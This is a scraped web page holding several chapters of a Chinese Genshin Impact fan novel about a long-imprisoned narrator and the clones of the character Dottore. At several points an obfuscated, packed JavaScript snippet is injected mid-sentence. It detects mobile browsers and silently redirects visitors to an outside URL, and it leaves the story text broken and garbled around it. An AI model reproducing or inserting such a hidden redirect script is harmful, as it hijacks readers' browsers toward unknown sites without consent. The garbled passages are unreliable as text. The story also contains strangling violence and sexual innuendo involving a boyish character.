我目瞪口呆地看着监管人员,久违地感到一种被父母压着劝学的头痛感。 “哪个学者也犯事了?搜刮出来这么多东西。” 监管人员白了我一眼。 “在你眼里我们到底是什么形象?” 我即答:“天天蹲门缝没收学生课外书的老师。” 监管人员:“……” 监管人员:“什么乱七八糟的。这些是实验室那边不要的。” 我捕捉到关键词。 “实验室?” “就是那位神秘的执行官第二席,【博士】大人的实验室。据说因为一些原因要换个地方,所以原来的书就不要了。那位大人嫌碍事,而且觉得有很多没用的书。” 时隔多年再一次听到多托雷的名讳,虽然只是一个代号,也不由得让我有些晃神。 脑海中的记忆翻腾着,似乎很近,又似乎很遥远。 我看了一眼那摆得足有我人高的书堆,再看了一眼那只是一瞥就会因为无法解析文字符串而陷入大脑停摆的书名,重新定义了“没用”两个字。 坐牢也逃不开被迫感受到智商碾压的事情。 监管人员说:“你不是一直嫌之前的书太粗俗了吗?我也没读过多少书,但那位大人看过的书应该足够‘高级’了吧?所以我专门拿来给你了。满意了吗?” 我语气复杂:“挺好的,除了我看不懂之外还挺满意的。” 我把那堆一看就头晕的书摆在角落里摆了两天,因为我实在是不愿再回忆起学习的痛苦。 让脱离学院多年的我重新捡起书,甚至是和自己专业八竿子打不着的专业领域,即使是有十个脑子,我也学不懂啊。 这样的僵持持续了足足四十八个小时零六分三十九秒。 最终我屈服于不想再学习第五十一遍□□下,打开了这些书。 …… 晕字,头好疼。 第二十年,我钻研完了这些据说“多托雷也读过”的专业书籍,并很无聊地在里面圈出了好多和多托雷实验结果不一致的理论。 读完之后感觉自己并没有变聪明多少,反而偶尔会陷入对世界的“怀疑主义”。 于是我找监管人员要了一堆哲学书籍来看。 第三十五年,据说斯卡拉姆奇成为了愚人众执行官的第六席,代号是【散兵】。 第五十年,我开始看历史杂谈书籍,并目睹了至冬历史上规模最大的一次越狱事件的发生。 我甚至提供了一些技术性知识支持。 指偷钥匙,窃听监管人员,和开锁。 很遗憾的是这些人没能成功,并很快罪加一等上了刑场。 唯一值得庆幸的是,没人发现我在从中捣乱。 第八十年,我闲得开始学习其他国家的语言,甚至是一些已经完全消失的古文明的语言。 感觉学了没什么用, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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少年脸上不满的神色加深:“你不认识我?怎么可能,你不是稍微大一点的那个我收的狗吗?还是说……” 手腕上的桎梏力道加深,我疼得一下子失去力气,任由手腕被捏得发紫。 那双圆润的红色双眼紧紧盯着我:“还是说,那段记忆是本体虚构出来蒙骗我们的。” “我们”…… 我意识到情况可能完全超出我的想象。 面前这个少年,与其说是多托雷的儿子,倒不如说就是多托雷本人啊! 少年时期的多托雷。 我感到荒谬。 我试探性地询问:“您,您是,‘主人’吗?” 少年脸上的表情扭曲了一瞬间。 “不要用那种恶心的称呼叫我……我和本体那个家伙不一样。” “那……那我应该叫您什么?” 少年沉默两秒:“我怎么知道?这难道是我该思考的东西吗?除了那个恶心的称呼外随你,我可不想变成本体那种脑子有病的家伙。” 少年低声咬牙切齿:“那种和自己的下属做那种事情……糟糕的大人。” “您也是……”我犹豫了半天没找到合适的称呼,于是决定暂时略过,“但是您的样子……这是怎么做到的?” 少年很快从刚才的情绪脱身,他松开我,抱着双臂,虽然处于地势低处,却让我感到一种被俯视的感觉。 “呵,你果然和记忆里一样,真是愚蠢的家伙。真不明白本体为什么要在你的身上花费那么大的精力。” 少年对我进行了一番人身攻击,然后才堪堪满意地回答我的问题。 “也罢,今天算我心情好,就回答一下你这个毫无水平的问题好了。答案很简单,因为‘我’是以那个恶心的本体为样本制造出来的切片。” “……切片?” “你这个家伙,连这么简单的话都听不懂吗?”少年皱眉,“知道那个人偶吗?和他的原理差不多。本体研究了那个人偶身上的技术,然后制造出了‘我们’。” “啊?还不止一个?”我目瞪口呆。 “要想保留所有观察世界的视角的话,当然不能只有一个。至于其他的……” 少年突然噤声,有些警惕地看着我:“我干嘛要跟你说的这么详细?” 那双与多托雷相似又很是不同的红眸撞进我的眼帘内。 我呼吸一滞,脑子一抽。 “因为您善?” 34. 第 34 章 少年:“……” 少年:“不知所谓。” “0106号,发生什么了?” 不远处的监管人员注意到这边的嘈杂,走了过来。两位年轻人看到少年,脸色齐刷刷地一白。 “博……【博士】大人,您,您怎么在这里?” 少年连一丝反应都没有,那双眼睛只是一眨不眨地盯着我。 他问:“0106号?” “犯人的编号。”我说,“您应该知道的吧?我现在被关在牢里,还是个犯人呢。” 我动了动手腕上的镣铐,铁链发出一阵轻响。 “我当然知道,我又不是瞎。”少年皱眉,“我是问你怎么进去的。” 我愣了一下:“啊?您不知道吗?” 不知道是不是我的错觉,少年脸上的表情好像更不好了。 也对,那件事情好像早已经被多托雷故意掩没过去了。 所以说,原来所谓的“切片”和本体之间的记忆是不互通的吗。 “好吧,我告诉您。”在少年快要炸毛的前一秒,我很识相地屈服。 “但是在那之前,您得答应我一件事。”我说。 少年脸上露出“果然如此”的表情。 “说吧,无论是放你出牢还是其他的要求,看在你的长相勉强不让我厌恶的份上,我会考虑答应的。” 我忍不住看了一眼少年的头,总觉得多托雷小时候是不是有点脑子不好使。 我说:“您可以先放开我吗?” 少年疑惑:“哈?” 我看向从见面一开始就被抓住的,现在已经青紫的手,语气诚恳。 “您已经抓着我的手很久了,而且这个姿势我要弯着腰,我腰好酸……” 少年像抓了一块木炭才反应过来一般立刻松开我,声音有些轻微拔高。 “谁……谁让你弯着腰的!” “抱歉……但是您的身高……” “给我闭嘴!” 我悻悻直起腰,揉了揉手腕上那极深的一圈指痕。 我看向少年,那细碎的卷发淹没的柔软耳尖似乎有些发红。 哦哟。 我忍不住挑了挑眉。 少年恶狠狠地瞪了我一眼。 我保持得体的微笑,收回自己的眼神,手指像拉拉链一样在嘴前滑过。 “您放心,我最会闭嘴了。” 少年眼神暗沉:“如果你不会闭嘴的话,我也可以帮你把你这爱贫嘴的无用器官割除掉。” “那真是太可怕了。我不会乱说话的。” 哇,多托雷竟然连“我会身体修复”这件事都没告诉自己的切片。 太有内部爱了。 少年几不可闻地啧了一声。 “现在可以回答我的问题了吧?” “当然,我尊敬的大人。”我将右手放在胸口对这位少年轻轻鞠躬。 少年向后退了半步。 我忍不住发出一声轻笑。 “你笑什么!” “大人。”我打断他的话,弯着腰让自己与那双红色的眼睛对视,“如果您对我所犯之罪如此好奇的话,那就请来寻找答案吧,凭借您自己的智慧。” “你!你不是答应了会告诉我吗?” 我摊了摊手:“我只说了会‘告诉’,但是没说具体告诉您哪件事情啊。” “你在耍我?!” 少年一把抓住我双手间连接的铁链,在一众惊呼声中将我按在墙上,手指紧紧地卡住我的喉咙。 我吃痛地轻嘶了一声。 旁边的监管人员很紧张:“【博士】大人!【博士】大人您冷静一下啊!这个杀不得,杀不得啊!” 少年冷冷地看了这两个人一眼:“你们太吵了。”然后给了一直静默在他身后的愚人众士兵一个眼神。 愚人众士兵拦住两个监管人员,手中的武器横在二人胸前。 声音消失了。 少年又重新将视线移回到我的身上,那双虽然圆润却没有多少光亮的红色双眸十分凌厉。 我稍微仰了仰头,感受到颈上的那双手越发收紧的力度,忍不住笑出声。 “你笑什么?” “轻点儿……我最尊敬,最亲爱的大人。”我没有回答他的问题,只是放任自己将身体的重量放在那危险的桎梏上。 我近乎喟叹:“您还是那么爱掐人,不过现在的我可有点‘消受’不了了,稍微轻一点,别把我掐死。” 少年似乎被戳中了什么一般,手上的力道反而更大,我有些喘不过气来。 少年的脸逼近我,表情阴暗:“我不是‘他’,别混为一谈。” 我有些吃力地出声:“我的好大人,对我而言您和‘主人’没有区别……嘶……疼……” 少年的指尖刺进我的皮肉里,鲜血涌出,伤口在修复的力量下又快速愈合着。 少年感受到这奇异的变化,下意识松开了我。 “这是……”他看着自己指尖上的血迹,又将视线转移到我的脖子上。 我无力地坐在地上,轻揉着脖子上凝固的痂痕。 我注意到少年的眼神亮了起来。 “你的身体……真是奇妙,这样的力量,实在神奇……”少年呢喃着,夹杂着一丝明显的兴奋。 我感觉到脖子发凉。 双手再一次被拉住,少年凑到我面前。 “你加入我的实验吧,我还缺一个合适且强度足够的实验素体,你正好合适。” “……” 少年:“我可以让他们提前放你出来。只要你答应成为我的实验体。怎么样?” 我微笑地扒开少年的手:“抱歉,婉拒了。” “为什么?” 少年眼里的光一下子黯淡下来,有些吓人。 “你已经被关了很久了吧,你难道不想重获自由吗?你知道的吧,要不是你运气好,根本不可能遇上‘碰见我’这样的好事。现在只有我能办到这件事,这点你很清楚吧?” 我吐槽:“成为您的实验体才是真的丧失了自由吧。” “怎么会?”少年脸上露出货真价实的名为“疑惑”的神色。吐出的话语完全与少年的模样相反。 “你有着这样强大的修复能力,就算是被分割成几百块,也不会死。你有什么可顾虑的?” 我:“……” 我:“我也会疼的,大人。” “我可以给你打麻药。” 我:“……” 草了,上梁不正下梁歪,果然。 我叹了口气,最终决定放弃和少年继续探讨这个话题。 我摇晃了一下手上的镣铐。 “好了好了,我都蹲了这么久的牢了,少这点时间又有什么意义?而且你觉得你的‘本体’真的会允许你干涉对我的监禁吗?” 少年不服气:“我也是【博士】!” 我耸肩:“您刚才才说您不是‘本体’呢。” “你这个家伙……” 我忽视那足以要在我身上烧出一个洞的灼热眼神,看向一旁的监管人员。 “看病结束了。”我说,“现在我们该回去了吧。” 监管人员颤巍巍地看向少年。 少年白了他们一眼,最终还是挥手示意士兵退下。 我有些艰难地站起来,走到监管人员身边准备和他们一起离开。 转身后,我听到背后传来的尚显稚嫩的少年声。 “你等着,我会让你来当我的实验体的。” 我头也不回地挥了挥手。 “那我就等着了,尊敬的大人。” 在彻底离开之前,我恍惚听到后面传来的一点残余的对话的声音,似乎是少年说了什么,他的士兵有些焦急地劝阻着他。 “……大人,那位大人的事情还没有办完……” “啧……你给我闭嘴!” 我有些想笑,若不是身边还有两个人,我实在是想放声大笑,笑到扶着柱子直不起身来的那种。 多有意思啊。 多托雷那个家伙,竟然制造出了多个“自己”,真是一个“疯子”。 而且…… 而且没想到多托雷的少年切片竟然是这种性格…… 我开始对结束囚禁后出去的生活感兴趣了。 这几乎是我被关进来的近一百年的时间内唯一一次心中腾起这样的情绪。 或许我刚刚应该答应他? 只是一场实验而已,如他所言,我确实不会死。 而且,我还可以通过一些小手段在借助答应实验出去后脱离少年的掌控。 算了。 我对多托雷现在的情况一无所知,还是现在里面待上几年打听一下更多的情况吧。 那位少年切片,我敢笃定,他一定会忍不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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等到周围都彻底安静下来,我捡起出门的时候随手丢弃在床尾的书翻看起来,却一个字也看不下去。 目前可以确认的事情有以下几点: 多托雷以自己为样本制作了多个切片,技术来源于斯卡拉姆奇,数量暂时未知。 切片与本体之间记忆并不互通。 本体向切片分享了一部分关于我的记忆,但并不完整。 那么,切片的记忆是基于什么为切割点? 年龄吗? 这也合理。 那位少年切片既然说过多托雷制造切片的目的是为了“保留所有观察世界的视角”,如此,记忆的不均等也很合理。 但是他却故意将我的存在分享。 目的是什么? 我感到一丝不好的预感。 甚至开始怀疑今天与少年切片的偶遇真的是“偶然”吗? 我收拢胡思乱想的思绪。 如今信息量实在是太少,多思无益,不如静观其变,看看能不能从那位少年切片的身上获得更多的消息。 我必须再次强调。 实在是令人意外,身为多托雷的少年切片,却和多托雷本人几乎完全不同,除了那对实验的疯狂热爱和完全不顾他人死活的态度外。 不过可能是身高的原因,即使是过分熟悉的脸,我也感受不到什么压迫感。 少年的多托雷,既没有青年的他身上那股傲慢和暴躁,更比不上更年长,成为了执行官【博士】的多托雷狡诈阴险。 一个很好的切入点。 不是吗? 我翻动着手里的书籍。 这是一本从来自稻妻的轻小说,听说最近还挺火的,写的是主角意外死亡后穿越到了二十年前并碰见了还是小孩儿的死对头的故事。 刚拿到这本书的时候我还在吐槽作者的脑洞未免也太大了,穿越时间这样的事情怎么可能发生。如今再看这本书,莫名有些情绪复杂。 果然,老话说得好。 艺术来源于生活。 我毫不怀疑假以时日,凭借多托雷那颗鬼才一样的大脑,说不定真能造出穿越时间的机器。 35. 第 35 章 如我所料,在上次那场见面过后大概半个月的时间,我被通知有一位大人物想见我。 跟随监管人员的步伐,我在会客室见到了上次的少年。 少年与上次见面时的打扮并无多少差异,只是脸上带着些等待许久有些不耐烦的表情。 我坐到他的对面,看着少年摒退了其他人。 “许久不见。”我说,“亲爱的大人。” 少年博士的脸色一般。 “收起你这副油嘴滑舌的样子。你在本体面前明明不是这个样子的。” 我稍微对多托雷分享的到底是关于我的那部分记忆感到有些好奇了,于是试探性地询问。 “那在您的记忆里我是怎样一副形象?” 少年的耳朵毫无征兆地变红,像是熟透了的柿子一样。 “你……你问这个干什么!” 我被少年的反应也弄得有些疑惑了。 看到少年支支吾吾的神色,我想起一个不太妙的预感。 忍不住扶额。 “不会吧……主人就算再……也不可能把那种事情……” 少年的话语打破了我的幻想。 “就是你想的那样。所以别问我。你对本体那个恶劣又糟糕的家伙还在抱有什么可笑的期待?” “不……”我语气变得虚弱,恨不得当场找个缝隙把自己塞进去藏起来。 “这根本就是……有点太超出我的承受范围了。算了,我们跳个这个话题吧。” 我正了正神色,只是不太敢去看少年的眼神。 “您这次来找我是为了什么事?” 少年似乎还没完全调整过来,语气也带上些坐立不安来。 “恰巧路过而已。” 少年眼神闪躲。 我:“啊?” “你这是什么反应?是不欢迎我的意思吗?” 少年的脸色似乎也泛起了红,有些恶狠狠地瞪我。 我迅速反应过来。 “不,当然不是,我最亲爱的大人。”我轻笑,“您能够在百忙之中抽出闲暇时间来看望我这个无用之人,对我而言实在是至高的殊荣,我怎么可能会不欢迎呢?” 在我说完这一大段有些浮夸的话后,少年博士脸上的神色反而变得正常了。 他眼神暗沉地看着我。 “我早就想说了,你这家伙,是不是把我当小孩子对待了?” 我脸上浮起一抹恰到好处的惊讶。 “怎么会呢?”我说,“就算您是切片,也是我的‘主人’不是吗?” 少年博士语气下沉:“都说了不要把我和那个家伙混为一谈。” 他看着我,那双几无光泽的眸在我身上打量着,过了一会儿,他笑出声,带着些诡异。 少年的心情仿佛突然之间变得很好。 “不过没事,那个家伙或许会更在意‘这件事情’,你最好等到了‘本体’面前还敢像刚才那样说话。” “哈哈,您太幽默了。” “这可不是幽默。”少年拨弄着右耳上的耳坠,“‘他们’已经知道我俩的见面了,你觉得,是靠的什么?” 我下意识摸向自己耳朵上那一模一样的耳坠,脸色顿时一白。 “看来你还是不傻的。”少年的语气带着些微愉悦。 “这个东西与其说是‘标志物’,更像是监视器和控制器,虽然你可能还没具体体验过这玩意儿的用处。” 少年撑着桌子微微俯过身来,那只纤细净白的手指抚摸上我的耳垂,那耳饰相连之地的皮肉。 “真是让人不爽,不过‘本体’那个恶劣阴险的家伙就是这么控制欲强烈。话题稍微有点跑偏了,我必须要稍微提醒你一下,除我之外的其他家伙可不是什么好相与的存在,对你也不会像我一样这么温柔。” 少年离得越来越近,连腿都放了一只跪在桌面上朝我靠近。 我感到有些不适,下意识地向后缩,却被固定在地面上的椅子限制了动作。 少年犹如活人般温热的呼吸洒在我的脖颈上,我想起第一次见面时被掐出血的脖子。 温柔…… 认真的吗? 少年很显然没有心思来关注我的想法,他只是自顾自地说着。 “更不要提‘本体’。我想你比我更清楚才对,虽然这样的事实让我感到很不满意,但‘本体’对你确实很不一样。呵呵,那个平日里摆着一副‘假情假意’表情的家伙,恐怕出现的所有的情绪波动都在你身上吧。” 我保持微笑:“这不是还有您吗?” 少年笑了一声,那双水晶般的眼睛直勾勾地盯着我。 “找我帮忙?我想你知道你要付出的代价吧?” 少年的手掌从耳垂落下,顺着脖颈一路滑倒胸前,直到感受到左胸那颗正在搏动的心脏才停下。 少年停下手,手掌隔着并不算厚的一层布料感受着下面那颗平稳跳动着的心脏。 “真是神奇,人类的心脏原来是这样跳动的。只可惜,我的胸口只有一颗永远平静的供能装置。” 少年此刻身体已经完全来到了桌上,半身伏在我的身上,虽然有着常人的热度,但如少年所言,那胸膛的位置确确实实没有半分的声响。 我避又避不开,忍了一会儿,在少年要侧头去听我的心脏的时候实在是忍不住了,双手挟持少年的手臂,将少年的身体往后一推,然后把那双手并在一起,放到他的腹前。 “大人!这样的姿势还是有些太接近了,我想我们的关系应该还没有好到这种地步!”我义正言辞。 有些惊愕的少年捏了捏拳头,看向我的眼神带了丝愤怒。 他咬牙切齿:“连那种事情我都有记忆和感知……你到底在矜持些什么?” 我心跳一乱,答非所问。 “什么……竟然连感知都有吗……” “我问的不是这个!你故意的吧!” 少年气急败坏。 在少年彻底爆发之前,我选择了干净利落地道歉。 “抱歉,大人!但您是未成年人,我没有办法……” 少年震怒:“你给我闭嘴!” 随即从桌子上跳下来,一把抓住我的衣领。 领口传来轻微的窒息感,少年的力气很大,我不得不微微仰头身体前倾,好减轻一点领口的压制感。 “冷静,冷静一点,我亲爱的大人。您快把我弄死了。” “那你倒是不要一直说这么奇怪的话激怒我啊!” 我眼神清澈且无辜。 然后悄悄伸出的手一把按住椅子扶手上设置的应急按钮。 刺耳的声音响起。 室内突然闪烁起来的红光更是映得少年的表情恐怖。 少年很生气:“你在干什么!” 我回答:“比较害怕您忍不住会打我。” 少年气得竟然笑了出来。 “你有病吧?我什么时候打过你了?” 在我们对峙期间,很快便有一阵零碎的脚步声接近,一队装备整齐的护卫队闯入会客室,手持武器对着我们。 我看到这些人的身上都配置着一个有着愚人众标识的水晶装置。 是邪眼。 我收回若有所思的思绪,看着少年在护卫队的人的要求下松开我,然后被迫远离我在的地方一些距离。 领头的人对少年说:“【博士】大人,根据规定,与犯人见面期间不可过分接近犯人,更不可对犯人出手。” “我没有出手!他这不是还好好的吗?” “威胁也不可以。” “啧……” 我施施然站起来,整理了一下乱掉的衣领,顶着少年博士恨不得吃人的表情开口。 “今天的见面就到这里为止吧,大人,如果您来只是为了告诉我那件‘噩耗’的话。” “你确定不答应我?我提醒过你了,别的家伙可不一定会帮你,但我不一样,只要你答应成为我的实验体,我就可以帮你一把。” 我选择绕过这个话题。 “容我先问一句好了,您找到‘我为何会进牢’的真相了吗?” 少年神色变得阴郁。 “看来还没有。”我轻笑。 “你等着,我会找出来的。”少年咬牙。 “那我就拭目以待了。下次再见吧,亲爱的大人。” 我挥挥手,随后离开。 回到牢房,等监管人员锁上门的时候,我坐在床尾,手指有些颤抖地摸着左耳上的那只耳饰。 从银质的钩环,到那冰冷的蓝色试管。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14875981|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 虽然刚才在少年博士面前我表现得很镇静,但对于这个耳饰的事情,确实有点震撼到我了,以至于本来打着多聊一会儿从少年博士那里套点消息的打算,却不得不中途放弃。 根据少年博士的描述,这个耳饰,并不只是我了解到的可以实时显示位置给多托雷的功能,它甚至可以进行监视,更夸张的,对佩戴的人实施远程的操控。 不…… 不。 “操控”这样的功能,实施起来实在是过于艰难了不是吗?按照少年博士的情况,或许这只是多托雷操控切片的一个端口,要想实现也不过是因为切片是由多托雷制造出来的“机械”。 能到那种地步呢? 操控行为和思想?还是进行销毁? 无论是哪一种,都足够令人毛骨悚然。我的理智虽然告诉我这样的东西不可能在我一个“正常人”身上生效,但感性上还是不由得感到恐惧。 从来要以最恶劣的想法来揣度多托雷。 这是我在多托雷身边学到的印象最深刻的一件事。 我气息有些颤抖地躺在床上,将自己塞进被子里。 令我有些意外的是,有一位特殊的来客在第二天找上了我。 彼时我刚从被窝里面被摇醒,看了一眼完全静寂的监.狱,又看了一眼走廊上的钟表。 我揉了揉眼睛:“您知道现在是半夜三点半对吧?” 监管人员向我道歉:“抱歉,我并不是故意要在这个点把你叫醒的。只是有位大人点名一定要见你。那位大人,怎么说呢,脾气不太好,我这也是没办法。” 我叹气,认命地拧开门。 冰冷的会客室内,一名形貌妍丽却神色冷酷的少年坐在椅子上。这位少年头戴巨大的角笠,眼角的一抹红非但没有柔和那凌厉的神色,反而显出几分刻薄来。 我呼吸一滞,连喉咙也变得干涩。 “斯……斯卡拉姆奇大人,您怎么在这?” 斯卡拉姆奇抬眼:“真是稀奇,怎么,这地方不知道何时成了你的地盘不成?我连来都来不得?” “嘶……我不是这个意思。” 这家伙的嘴怎么感觉比以前还毒了。 斯卡拉姆奇冷笑:“要想见你一眼还真不容易。即使是人偶也要坐在这里冻僵了。” 他略过身体僵硬的我,看向带我进来的监管人员,语气更冷:“出去。连这种眼力见都没有吗?还是说你也想和我聊聊?” “不用了不用了,【散兵】大人。我这就出去。” 监管人员讪笑着飞速退出去,关上了门。 会客室的空气似乎都一下子变得凝固,我拿捏不准斯卡拉姆奇来找我的原因,只是畏畏缩缩地靠近,在他的对面坐下。 早就想吐槽了,这破桌子怎么这么小…… “您来找我是……” 我有些受不了这凝固的氛围了,轻声问道。 “恰巧路过。” 我干笑两声:“那还真是‘巧’啊,太巧了,太巧了。” 也没见得前九十五年这些人“恰巧路过”监狱啊。 “你有意见?”斯卡拉姆奇瞥了我一眼。 “不敢不敢。”我摇头,“谁说这‘路过’不好了?这‘路过’可太好了!人就应该在半夜三点半进行一次命运半的相遇!这是缘分啊!” “你脑子睡傻了是吧?”斯卡拉姆奇脸色奇怪地看了我一眼,随即笑了一声,只是带着“阴阳怪气”的意味。 斯卡拉姆奇:“看来你在这里过得还不错,不用喝醉也敢说这么些‘俏皮话’了。” “呜……求您不要再提起那件事了。” “呵。无意义的闲聊到此为止吧。你不是问我为什么来找你吗?”斯卡拉姆奇双手抱胸,那双蓝紫色的,灰暗的眼睛便在角笠的半遮半掩下朝我射来。 “是……” “姑且过来提醒你一件事情,你现在在外面,可是‘名声显赫’。” “‘名声显赫’?” “到处有传言,那位最可怕,最阴晴不定,最邪恶的执行官二席【博士】最信任的副官要回来了。没人在意你因何此前消失毫无音讯,也没人在意你到底是从哪里冒出来的,总之,你的名字传播开了。” 我感到喉咙发紧,说不出话来。 36. 第 36 章 斯卡拉姆奇问我:“你见过那家伙的‘切片’了吧?” 我点头。 斯卡拉姆奇讽刺一笑:“我就知道……明明离你彻底出狱还有五年的时间,多托雷那个家伙之前一直不闻不问,却突然整出这些动作……” 我感到有些头疼,被从睡梦中强迫扯出来的大脑在冰冷的空气里面好似被冻僵了,连过多的思考都做不到。 我勉强集中了一下自己的思绪。 “我想问一下,主人究竟有多少个切片?” “现在在至冬的有三个,另外被派到至冬之外执行任务的有五个。”人偶似乎是想到了什么不愉快的记忆,显出一副不想在这个话题上过多停留的表情。 “我不建议你和那些切片过多接触,他们,可能比你想象中的还要……”斯卡拉姆奇顿了一下,“啧,你自求多福吧。” 说完这句话,人偶站起来,只是最后看了我一眼,然后离开了。 我听见外面模糊响起几句对话的声音,随即门被打开。 监管人员抵着门:“回去吧。” 我站起来,跟着监管人员的带领回到自己的牢房。 在那之后的很长一段时间,我似乎再次回归了前九十五年的时间,没人在意,也没人打扰,每天只是看看书,消磨时间。 出于一些不甚明晰的原因,那位少年形态的切片不再来这里找我。 即使生活回归了以前的模式,我的心却有些静不下来了。 如同石子被丢进湖泊,激起阵阵涟漪。 再一次见到那位少年切片,是在三个月之后。 少年博士似乎来的很匆忙,身上甚至还穿着实验室里做实验的时候穿着的白色外套。 他带着一队愚人众士兵来到我的牢房面前,脸上的表情带着些不爽。 他踹了一脚牢房的铁门,对旁边低头陪笑的人命令道:“把门打开!” “是,是,【博士】大人。” 钥匙和铁门碰撞发出一阵令人心烦的嘈杂声。 我被从读书的状态强拉出来,抬头朝门外看去。 少年倨傲地迈过铁门,眼神在房内扫视一圈,语气嫌弃。 “你就住这种地方?真是寒酸。” 我:“我的大人,这里可是牢房,您指望这里能有什么好地方给我这个犯人住?” 少年喉间发出一声冷笑:“那我之前说带你出去你还不愿意。你倒是挺能吃苦。” “不敢当,没有在大人您的身边吃的苦多。” “你!我明明什么都还没对你做!”少年快步走到我身边,一把抢过我手里的书。 “别看了,我来是通知你,你可以出去了。” “?” 我缓缓打出一个问号。 “你这是什么表情?呵,你以为是我擅作主张接你出去?” “确实不无这个可能……” “呵,那要让你失望了。我没有这么好的心肠。”少年抱胸,自上而下俯视着坐在床上的我,“也没有这么大的权力,啧。是‘本体’下的命令。” 我感到像是在吃饭的时候吃了十斤冰淇淋结果把肠胃吃坏了的不舒服的感觉。 我不抱希望地询问:“有没有一种可能,主人他其实不是这个意思,是您听错了。” 少年瞪我:“你在质疑我?” “不敢……” 看到我虚弱且苍白的脸,少年的心情仿佛变好了许多。 他将从我手里抢走的那本书高高抛起,又伸手接住,发出“哗啦哗啦”的声响。 “你这么害怕‘本体’?不会是做了什么对不起‘我们’的亏心事吧?” 确实做了一些不太好的事情的我:“……” “不过这种事情我不可能弄错,你死心吧。‘本体’说你在牢里面积极改造,态度端正,用这个理由替你申请了减刑,所以现在理论上监狱还倒欠你两年。你有看不惯的人吗?可以关进来。” 少年难得开了个玩笑。 我笑不出来。 “不用了……” “好吧好吧,那你就只能自认倒霉多被关了两年了。收拾东西,现在跟我出去吧。” 我不是很想出去。 看我一动不动没有反应,少年又催促了我一遍,见我还是坐着,实在忍不住,一脚踢在我的小腿上。 力气并不算大,皮质的鞋尖几乎连灰尘都没有,锃光瓦亮的。 “别哭丧着这么一副脸。‘本体’现在不在至冬,你想见也见不到他。你出去后会暂时跟着一位切片行动。” 我稍微燃起一些希望,看向少年:“那……” “别想了,不是我。” 希望破灭了。 我想起之前斯卡拉姆奇说过至冬有三位切片在,不知道过去这三个月有没有变化。 如果不是最早和我接触的少年切片的话,那么,多托雷会把我安排在哪位切片手下? 理论上而言,自然是在这位少年切片的手下比较好。 少年时期的多托雷虽然是我几乎最毫无了解的一个时间段,但根据接触后的记忆来看,无论是心性还是手段都更能令人接受。 对我的态度也是最友好的。 当然这也很容易解释。毕竟少年切片不知道我做出的那些事情,在多托雷传递给他的那极少的有关我的片段还尽是些与我缠绵的记忆。 对少年而言,我在他心中的预设形象其实是一个很亲近的角色。 但其他的切片…… 我感到头疼。 希望多托雷能够多切两个他还不认识我的时候的切片吧,否则我能存活下来的希望也太低了。 在少年的监督下收拾好自己的东西。 其实我的私人物品并不是很多。监狱里有统一着装,所以能带走的衣物不过寥寥几件。 我收拾好自己的随身物品,然后看了一眼占据整个房间几乎二分之一面积的书,再看了看少年。 再看了看书。 再看了看少年。 再看了看…… 少年语气不耐烦:“好了,我知道了。我让他们给你送到住处行了吧?” 我十分感激:“多谢大人,大人您真是我见过的最好的人。” “闭嘴……” 就这样,我离开了居住了长达九十五年多不知道多少个月的地方,时隔无数的岁月再一次获得了自由,也再一次感受到了对未知的未来惴惴不安的情绪。 无论未来到底怎样糟糕,无可否认的是,至少当下的我,在接触到至冬那熟悉的冷风后,稍微有些高兴。 这样的好心情一直持续到被少年博士带到一座位置很陌生的实验室面前。 我抬头仰望着那高耸的房顶,积了一层厚厚的雪,趁得这座灰白色调的建筑更加冰冷。 少年挥手让所有的人离开,只带我一人打开大门走进去。 实验室内的装潢几乎乏善可陈,因为和以前见过的多托雷的实验室几乎是完全一模一样,甚至是那环绕整个实验室的墙建造的玻璃展柜,里面也陈列着不少的样本。 只是种类稍有些差别。 我感觉仿佛时间从未流逝过一般,这异常的熟悉感让我感到可怕的诡异。 不远处传来一道比少年更加成熟,却年龄不算太大的青年的声音。 “你终于来了。我还以为连这点小事你都办不好。” 我抬头看去,那是一名身形高大的青年,卷发比起少年博士更长了一些,除去右耳那只蓝色的耳坠,那张傲慢且冷漠的脸几乎与我记忆里的那张脸完全重合。 是…… 是“赞迪克”…… 赞迪克也察觉到了我的视线,即使是在与少年切片对话,那双猩红色的双眼也死死地咬着我,从上到下,一丝也不曾放过。 我从他身上感到一股对我的,强烈的憎恶和愤怒。 我赶紧低下头,不再敢去和那双眼睛对视。但我依旧能感受到那如火焰般灼烧着我皮肤的目光。 我听见少年博士与他的对话。 “Beta Build,我没心情和你吵嘴。如果不是‘本体’的命令,我连看见你都不想。一想到我的未来竟然会变成这么不讨喜的家伙,还被逐出教令院,就让人生气。” “呵,那你最好再多给自己强调一下‘我是你的未来’这件事,你有什么好生气的,不讨喜,被驱逐的家伙不也是你吗?” “这种话拿来安慰你自己吧。我可不会混得像你这么差劲。” “那我拭目以待。” 我看见少年博士低垂在身侧的手似乎紧了紧,像是在极力忍耐着心中的情绪一般。 “人我已经带过来了,‘本体’说过他不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 